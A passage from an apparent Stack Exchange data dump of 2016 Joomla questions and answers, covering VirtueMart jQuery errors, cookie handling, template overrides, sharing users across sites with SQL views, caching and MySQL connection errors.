&quot;#018ab6&quot; },&#xA;             { title: &quot;Australian shares&quot;, value : ' . $foo4 . ',   color: &quot;#fff100&quot; },&#xA;             { title: &quot;Intl. shares&quot;,      value : ' . $foo5 . ',   color: &quot;#D7DADB&quot; }&#xA;          ]);&#xA;        });&#xA;    ');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-23T09:25:23.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17640" PostTypeId="1" AcceptedAnswerId="17642" CreationDate="2016-08-23T11:03:10.423" Score="1" ViewCount="56" Body="&lt;p&gt;For a website of an educational institute I would like to show registered users what the article's access levels are. In this case the access levels for articles can be &quot;Students&quot;, &quot;Teachers&quot; or &quot;Students and Teachers&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I display an article's Access Level on the article's page?&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2016-08-23T11:56:36.367" Title="Display an article's Access Level on the article's page" Tags="|articles|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17641" PostTypeId="2" ParentId="17634" CreationDate="2016-08-23T11:33:13.897" Score="2" Body="&lt;p&gt;Perhaps you've set the default admin language for your own user. Alter this setting for your user by going to your site's administration and go to users &gt; manage &gt; choose your user &gt; basic settings tab &gt; backend language.&lt;/p&gt;&#xA;" OwnerUserId="265" LastEditorUserId="265" LastEditDate="2016-08-28T06:42:01.807" LastActivityDate="2016-08-28T06:42:01.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17642" PostTypeId="2" ParentId="17640" CreationDate="2016-08-23T11:56:36.367" Score="2" Body="&lt;p&gt;There are many ways to do this but the best possible way I can think of is developing a small content plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_content_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to implement onContentAfterTitle event to display your custom content below the article title.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-23T11:56:36.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17643" PostTypeId="1" CreationDate="2016-08-23T14:36:35.427" Score="1" ViewCount="562" Body="&lt;p&gt;I am using Virtuemart and enalbled a &quot;Multi-Variant&quot; options.&#xA;It nearly works, in the sense that only sometimes the product page (which has the custom options dropdowns) gives a JavaScript error. Some other times it works as expected.&#xA;I have never seen something giving an error ONLY sometimes, I am explaining it due to the fact that anothet JavaScript hasn't finieshed loading and doesn't give conflict...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is: &lt;strong&gt;jQuery(...).chosen is not a function&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Cannot show you the page because it' protected and under cnostruction, but I can show you the snipped of Javascipt giving the conflict...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt; script id=&quot;updateChosen_js&quot; type=&quot;text/javascript&quot;&amp;gt;//&amp;lt;![CDATA[ &#xA;if (typeof Virtuemart === &quot;undefined&quot;)&#xA;    var Virtuemart = {};&#xA;    Virtuemart.updateChosenDropdownLayout = function() {&#xA;        var vm2string = {editImage: 'edit image',select_all_text: 'Select all',select_some_options_text: 'Available for all'};&#xA;        jQuery(&quot;.vm-chzn-select&quot;).each( function () {&#xA;            var swidth = jQuery(this).css(&quot;width&quot;)+10;&#xA;            jQuery(this).chosen({enable_select_all: true,select_all_text : vm2string.select_all_text,select_some_options_text:vm2string.select_some_options_text,disable_search_threshold: 5, width: swidth});&#xA;        });&#xA;    }&#xA;    Virtuemart.updateChosenDropdownLayout(); //]]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8530" LastEditorUserId="8530" LastEditDate="2016-08-23T14:45:32.017" LastActivityDate="2021-09-16T19:33:40.500" Title="Virtuemart conflicts in dropdown only sometimes" Tags="|javascript|virtuemart|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17644" PostTypeId="1" CreationDate="2016-08-23T15:04:34.960" Score="5" ViewCount="487" Body="&lt;p&gt;In some sites in their home pages, as u scroll down, modules appear one by one.&lt;br&gt;&#xA;I think this enhances page load time. How can i do this in Joomla? Is it doable? Is there a plugin or something for this matter?  &lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="7394" LastEditDate="2016-08-26T11:53:34.083" LastActivityDate="2016-08-26T11:53:34.083" Title="Delay in loading home page modules" Tags="|joomla-3.x|seo|performance|wpo|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17646" PostTypeId="1" CreationDate="2016-08-23T17:07:00.237" Score="0" ViewCount="82" Body="&lt;p&gt;When calling JRoute, if the user has enabled in Joomla! to add suffix to url, is-there a way to don't add suffix to some urls ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases using url with suffix for doing ajax request doesn't work, so for this kind of case i need to remove suffix to url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do-you have an idea to do it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2016-12-08T17:46:15.787" Title="Prevent to add suffix for some URL when using JRoute" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17647" PostTypeId="2" ParentId="17630" CreationDate="2016-08-23T17:11:07.630" Score="0" Body="&lt;p&gt;You can import data to the &lt;code&gt;#__articles&lt;/code&gt; table in &lt;code&gt;phpMyAdmin&lt;/code&gt; using a CVS import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the entries created in the &lt;code&gt;#__assets&lt;/code&gt; table are not necessary to the stability of the website - we run many many Joomla websites where the articles have no associated entries in the &lt;code&gt;#__assets&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-23T17:11:07.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17648" PostTypeId="1" CreationDate="2016-08-23T19:06:40.820" Score="1" ViewCount="81" Body="&lt;p&gt;I have implemented a module which has a Calendar Type as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;file2calendarEnd&quot; type=&quot;calendar&quot; default=&quot;5-10-2008&quot; label=&quot;End date&quot; description=&quot;Select when the slide will be published&quot; format=&quot;%d %B %Y&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, when I open the module from the backend, pick a date, for example &lt;code&gt;23-10-2016&lt;/code&gt; and save it, the next time I open the module , the date will display &lt;code&gt;22-10-2016&lt;/code&gt;. No matter what date I pick, the module will substract a day when I open it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The date saves correctly on the databse, because if I pick &lt;code&gt;23-10-2016&lt;/code&gt; on the module, saves it, and then print it on the frontend, the website will display &lt;code&gt;23-10-2016&lt;/code&gt; , but if I open the module on the backend, the date will display &lt;code&gt;22-10-2016&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be causing the module to substract a day each time I open the module? Thank you&lt;/p&gt;&#xA;" OwnerUserId="8907" LastEditorUserId="7632" LastEditDate="2016-08-24T09:29:51.100" LastActivityDate="2016-08-24T09:29:51.100" Title="Calendar Field Type" Tags="|module|fields|calendar|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17649" PostTypeId="2" ParentId="17643" CreationDate="2016-08-23T19:38:08.100" Score="2" Body="&lt;p&gt;First check if you have two jQuery versions by pressing CTRL + U (it shows the source code on Chrome), normally jQuery chosen is not a function because JQuery.fn doesn't know who is chosen function, that means sometimes jQuery conflict. In VM3 have a option to enable the jQuery library in website, uncheck this option in shop, search by others components or modules that you've installed recently, only keep jui/js/jquery... (min.js, no-conflict, migrate), if you tried so much and can't remove you can force the disable with unset() function at index.php of your template from the others jQuery of others extensions/plugins etc.&lt;/p&gt;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php unset($this-&amp;gt;_scripts['/media/system/js/mootools-core.js']); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8223" LastEditorUserId="8223" LastEditDate="2021-09-16T19:33:40.500" LastActivityDate="2021-09-16T19:33:40.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17651" PostTypeId="2" ParentId="17648" CreationDate="2016-08-23T20:34:18.630" Score="3" Body="&lt;p&gt;I would guess there's an implicit timezone conversion happening. It's saving the time as midnight GMT in the DB, but on re-display, it's converting it to local time.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-08-23T20:34:18.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17652" PostTypeId="1" CreationDate="2016-08-23T20:51:20.237" Score="1" ViewCount="355" Body="&lt;p&gt;So on all pages of my site including error pages I want a cookie to be created on the clients browser to define if they are logged in or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just need to know what Joomla core file or plugin etc I should go to (line number) and edit to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my example code :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookie name is &quot;logged_in&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Value : &quot;1&quot; (registered user is logged in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Value : &quot;0&quot; (guest user not logged in)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;if(JFactory::getUser()-&amp;gt;guest) { //User is guest&#xA;$app-&amp;gt;input-&amp;gt;cookie-&amp;gt;set(&quot;logged_in&quot;, &quot;0&quot;, time() - 1, $app-&amp;gt;get('cookie_path', '/'), $app-&amp;gt;get('cookie_domain'), $app-&amp;gt;isSSLConnection());&#xA;} else { //User has an account and is logged in&#xA;$app-&amp;gt;input-&amp;gt;cookie-&amp;gt;set(&quot;logged_in&quot;, &quot;1&quot;, 0, $app-&amp;gt;get('cookie_path', '/'), $app-&amp;gt;get('cookie_domain'), $app-&amp;gt;isSSLConnection());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5637" LastActivityDate="2016-11-24T10:59:00.083" Title="Joomla PHP what file to make cookie on all pages" Tags="|joomla-3.x|php|joomla-2.5|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17653" PostTypeId="1" AcceptedAnswerId="17660" CreationDate="2016-08-23T20:59:58.123" Score="1" ViewCount="508" Body="&lt;p&gt;A component is using &lt;code&gt;include&lt;/code&gt; to load an administrator form in the front-end so users can fill it out and submit content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to override that form, but it doesn't appear to be possible from my site template. I &lt;em&gt;can&lt;/em&gt; override it from the administrator template (the default isis theme), but my changes can only be seen on the back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do overrides not carry over between templates? Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="8455" LastActivityDate="2016-08-24T08:54:33.253" Title="How to override an administrator template file that's included on the frontend?" Tags="|joomla-3.x|component|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17654" PostTypeId="1" CreationDate="2016-08-23T21:29:48.257" Score="2" ViewCount="306" Body="&lt;p&gt;When calling the method &lt;code&gt;$this-&amp;gt;filterForm    = JRequest::getVar('FilterForm');&lt;/code&gt;, I get an empty result.&#xA;But checking the com_banners component on the same system shows a result. What can I do to get it working?&lt;/p&gt;&#xA;" OwnerUserId="8909" LastActivityDate="2016-08-24T13:56:12.330" Title="when calling &quot;JRequest::get('FilterForm')&quot; result is empty" Tags="|joomla-3.x|component|development|filter|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17655" PostTypeId="2" ParentId="17644" CreationDate="2016-08-24T00:04:09.413" Score="3" Body="&lt;p&gt;&quot;Lazy loading&quot; may be what you are describing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a free Joomla extension, &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/performance/lazy-load-for-joomla&quot; rel=&quot;nofollow&quot;&gt;Lazy Load for Joomla!&lt;/a&gt;&quot; which helps with this but is more for images than modules.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-08-24T00:04:09.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17657" PostTypeId="2" ParentId="10145" CreationDate="2016-08-24T04:08:56.660" Score="3" Body="&lt;p&gt;Yes, you can share the users from one Joomla! site to multiple other Joomla! sites (as long as you keep them on the same J! version). This is how you do it in Joomla! 2.5 - 3.6 (current version):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose the &quot;master&quot; site from which the users will be shared (this is the database which will actually store the data).&lt;/li&gt;&#xA;&lt;li&gt;Copy the &lt;code&gt;$secret&lt;/code&gt; value from the master site's &lt;code&gt;configuration.php&lt;/code&gt; file to the same file on all the &quot;sister&quot; sites.&lt;/li&gt;&#xA;&lt;li&gt;Ensure access to the master site's database is given to the users of each of the sister sites' databases.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the following SQL script on each of the sister sites' databases:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RENAME TABLE `josPrefix2_users` TO `josPrefix2_bak_users`;&#xA;RENAME TABLE `josPrefix2_session` TO `josPrefix2_bak_session`;&#xA;RENAME TABLE `josPrefix2_usergroups` TO `josPrefix2_bak_usergroups`;&#xA;RENAME TABLE `josPrefix2_user_notes` TO `josPrefix2_bak_user_notes`;&#xA;RENAME TABLE `josPrefix2_user_profiles` TO `josPrefix2_bak_user_profiles`;&#xA;RENAME TABLE `josPrefix2_user_usergroup_map` TO `josPrefix2_bak_user_usergroup_map`;&#xA;RENAME TABLE `josPrefix2_viewlevels` TO `josPrefix2_bak_viewlevels`;&#xA;&#xA;CREATE VIEW josPrefix2_users AS SELECT * FROM dbSite1.josPrefix1_users;&#xA;CREATE VIEW josPrefix2_session AS SELECT * FROM dbSite1.josPrefix1_session;&#xA;CREATE VIEW josPrefix2_usergroups AS SELECT * FROM dbSite1.josPrefix1_usergroups;&#xA;CREATE VIEW josPrefix2_user_notes AS SELECT * FROM dbSite1.josPrefix1_user_notes;&#xA;CREATE VIEW josPrefix2_user_profiles AS SELECT * FROM dbSite1.josPrefix1_user_profiles;&#xA;CREATE VIEW josPrefix2_user_usergroup_map AS SELECT * FROM dbSite1.josPrefix1_user_usergroup_map;&#xA;CREATE VIEW josPrefix2_viewlevels AS SELECT * FROM dbSite1.josPrefix1_viewlevels;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 1:&lt;/strong&gt; For the script above, you will need to: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;dbSite1&lt;/code&gt; with the name of your master site's database.&lt;/li&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;josPrefix1&lt;/code&gt; with the prefix of your master site's database tables.&lt;/li&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;josPrefix2&lt;/code&gt; with the prefix of your sister site's database tables.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 2:&lt;/strong&gt; If you already have data stored in one of the sister sites, you may need to update the user ID of many entries in the database as the user IDs will have changed. Examples: article author and modified user, LogMan access logs, etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=470&amp;amp;t=473666#p2015114&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=470&amp;amp;t=473666#p2015114&lt;/a&gt;&#xA;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=470&amp;amp;t=473666&amp;amp;p=3424061#p2850629&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=470&amp;amp;t=473666&amp;amp;p=3424061#p2850629&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-08-26T12:49:18.490" LastActivityDate="2016-08-26T12:49:18.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17659" PostTypeId="2" ParentId="17654" CreationDate="2016-08-24T08:49:36.903" Score="2" Body="&lt;p&gt;This is the way to retrieve an input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$this-&amp;gt;filterForm = $jinput-&amp;gt;get('FilterForm', 'default_value', 'filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TIP: Take into account that if your don't specify a &lt;em&gt;default_value&lt;/em&gt;, it will return null when no value is detected. If your don't specify a &lt;em&gt;filter&lt;/em&gt;, it will apply a strict filter, CMD, for commands (It allows a-z, 0-9, underscore, dot, dash. It also removes leading dots from result). &lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="168" LastEditDate="2016-08-24T13:56:12.330" LastActivityDate="2016-08-24T13:56:12.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17660" PostTypeId="2" ParentId="17653" CreationDate="2016-08-24T08:54:33.253" Score="2" Body="&lt;p&gt;Overrides work based on the way layout files are called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is hardcoded with an include, then it is not possible to override it in clean way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that at some level you could override the whole view. For instance, to replace ContentViewArticle, you can load your ContentViewArticle first with a system plugin.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-24T08:54:33.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17661" PostTypeId="2" ParentId="17652" CreationDate="2016-08-24T08:56:48.670" Score="2" Body="&lt;p&gt;You are forcing a PHP login in the CMS. You must follow Joomla philosophy to implement a general change. For example, implementing a user or system plugin to define a cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, Joomla does already have session cookies.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-24T08:56:48.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17662" PostTypeId="2" ParentId="17652" CreationDate="2016-08-24T10:35:26.007" Score="1" Body="&lt;p&gt;You don't need to create any cookie, Joomla already creates one when the user logged in. You just need to use Joomla API to know whether user is logged in or not. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$loggedIn = $user-&amp;gt;guest ? false :  true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-24T10:35:26.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17663" PostTypeId="2" ParentId="17631" CreationDate="2016-08-24T10:38:19.477" Score="0" Body="&lt;p&gt;I used inline styles to rectify this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;whats_on_summary&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;whats_on_short&quot; style=&quot;width: 15%; float: left;&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;When&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Where&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Who&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;whats_on_icon&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;{zen-calendar}{/zen-calendar}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{zen-map-marker}{/zen-map-marker}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{zen-user}{/zen-user}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As an update to this, it was indeed a CSS validation issue - there was an error in the custom.css. I was unaware that an error in the css would mean any css after the error would not render.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-07-25T00:17:05.120" LastActivityDate="2017-07-25T00:17:05.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17664" PostTypeId="2" ParentId="16804" CreationDate="2016-08-24T10:40:23.247" Score="0" Body="&lt;p&gt;If you are using JCH Optimize plugin, you might see these errors. Try to disable the plugin.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-24T10:40:23.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17666" PostTypeId="1" AcceptedAnswerId="17667" CreationDate="2016-08-24T12:36:39.610" Score="0" ViewCount="513" Body="&lt;p&gt;I read and understand that &lt;code&gt;getUserStateFromRequest&lt;/code&gt; stores information in session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The session storage is causing an issue on site&#xA;Is there an alternate way by which i can avoid in session storage on pagination pages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is code in model/list.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null)&#xA;{&#xA;    // Initialise variables.&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    // List state information&#xA;    $limit = $app-&amp;gt;getUserStateFromRequest('global.list.limit', 'limit', $app-&amp;gt;get('list_limit'));&#xA;    $this-&amp;gt;setState('list.limit', $limit);&#xA;&#xA;    $limitstart = $app-&amp;gt;getUserStateFromRequest('limitstart', 'limitstart', 0);&#xA;    $this-&amp;gt;setState('list.start', $limitstart);&#xA;&#xA;    if ($list = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.list', 'list', array(), 'array'))&#xA;    {&#xA;    {&#xA;        foreach ($list as $name =&amp;gt; $value)&#xA;        {&#xA;            // Extra validations&#xA;            switch ($name)&#xA;            {&#xA;                case 'fullordering':&#xA;                    $orderingParts = explode(' ', $value);&#xA;&#xA;                    if (count($orderingParts) &amp;gt;= 2)&#xA;                    {&#xA;                        // Latest part will be considered the direction&#xA;                        $fullDirection = end($orderingParts);&#xA;&#xA;                        if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))&#xA;                        {&#xA;                            $this-&amp;gt;setState('list.direction', $fullDirection);&#xA;                        }&#xA;&#xA;                        unset($orderingParts[count($orderingParts) - 1]);&#xA;&#xA;                        // The rest will be the ordering&#xA;                        $fullOrdering = implode(' ', $orderingParts);&#xA;&#xA;                        if (in_array($fullOrdering, $this-&amp;gt;filter_fields))&#xA;                        {&#xA;                            $this-&amp;gt;setState('list.ordering', $fullOrdering);&#xA;                        }&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        $this-&amp;gt;setState('list.ordering', $ordering);&#xA;                        $this-&amp;gt;setState('list.direction', $direction);&#xA;                    }&#xA;                    break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2016-08-24T13:32:54.663" Title="How to avoid getUserStateFromRequest for not store in session" Tags="|joomla-3.x|session|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17667" PostTypeId="2" ParentId="17666" CreationDate="2016-08-24T13:32:54.663" Score="1" Body="&lt;p&gt;If you do not want to use session storage, just directly get the values from request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$limit = $app-&amp;gt;input-&amp;gt;getInt('limit', $app-&amp;gt;get('list_limit'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that the above answer is based on assumption that the code you mentioned is from your custom component. For core component, you need to either modify the core files (not recommended) or live with it.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-24T13:32:54.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17668" PostTypeId="1" CreationDate="2016-08-24T14:51:58.600" Score="2" ViewCount="1911" Body="&lt;p&gt;There is no h1 or h2 tags in my site's home page.&#xA;I guess that's a very bad thing for SEO. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D1fIa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D1fIa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By searching i found out that one way to solve this is to override root/components/com_content/views/article/tmpl/default.php file and change the article titles to h1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i think this solves the problem in articles. what about home page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to solve this?&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="7394" LastEditDate="2016-08-26T12:22:51.440" LastActivityDate="2016-08-31T15:14:44.643" Title="There is no h1 tag in the home page" Tags="|joomla-3.x|seo|header-tags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17669" PostTypeId="2" ParentId="17626" CreationDate="2016-08-24T15:01:52.193" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uRPt6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uRPt6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i was uninstalling the jCGcache plugin, i saw &quot;System - Page Cache&quot; &#xA;i enabled it and BOOM, Problem solved. &#xA;server response time improved 2 seconds, and now it's under one second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS TO Neil Robertson FOR HELPING AND TELLING ME ABOUT CACHING.&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2016-08-24T15:01:52.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17670" PostTypeId="2" ParentId="10128" CreationDate="2016-08-24T15:18:05.093" Score="1" Body="&lt;p&gt;What you think about free Joomla attachment comp ?  &lt;a href=&quot;http://extensions.joomla.org/extension/attachments&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/attachments&lt;/a&gt;  I have used it before and its very good.&lt;/p&gt;&#xA;" OwnerUserId="7256" LastActivityDate="2016-08-24T15:18:05.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17671" PostTypeId="2" ParentId="17626" CreationDate="2016-08-24T15:29:56.013" Score="2" Body="&lt;p&gt;You can also fine tune a lot with JCH Optimze Pro that will make a lot of improvement for speed. and also optimze your htaccess file for example with akeeba Admin Pro if you dont know how to optimimze your htaccess file for speed and security&lt;/p&gt;&#xA;" OwnerUserId="7256" LastActivityDate="2016-08-24T15:29:56.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17672" PostTypeId="1" CreationDate="2016-08-24T16:19:44.937" Score="2" ViewCount="389" Body="&lt;p&gt;My Joomla 3.6 website up time is pretty good, however at times of high traffic, my site shows a white page with the following text;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error displaying the error page: Application Instantiation Error:&#xA;  Could not connect to MySQL.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What would cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read that it's normally a setting in the configuration.php file but surely if that was the case my site would never work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can check or optimise regarding the database? Perhaps logs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that this is on a shared hosting server (JustHost).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2016-08-24T21:57:40.813" LastActivityDate="2017-09-21T14:15:40.437" Title="Database Error At Busy Times" Tags="|joomla-3.x|database|server|error-pages|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
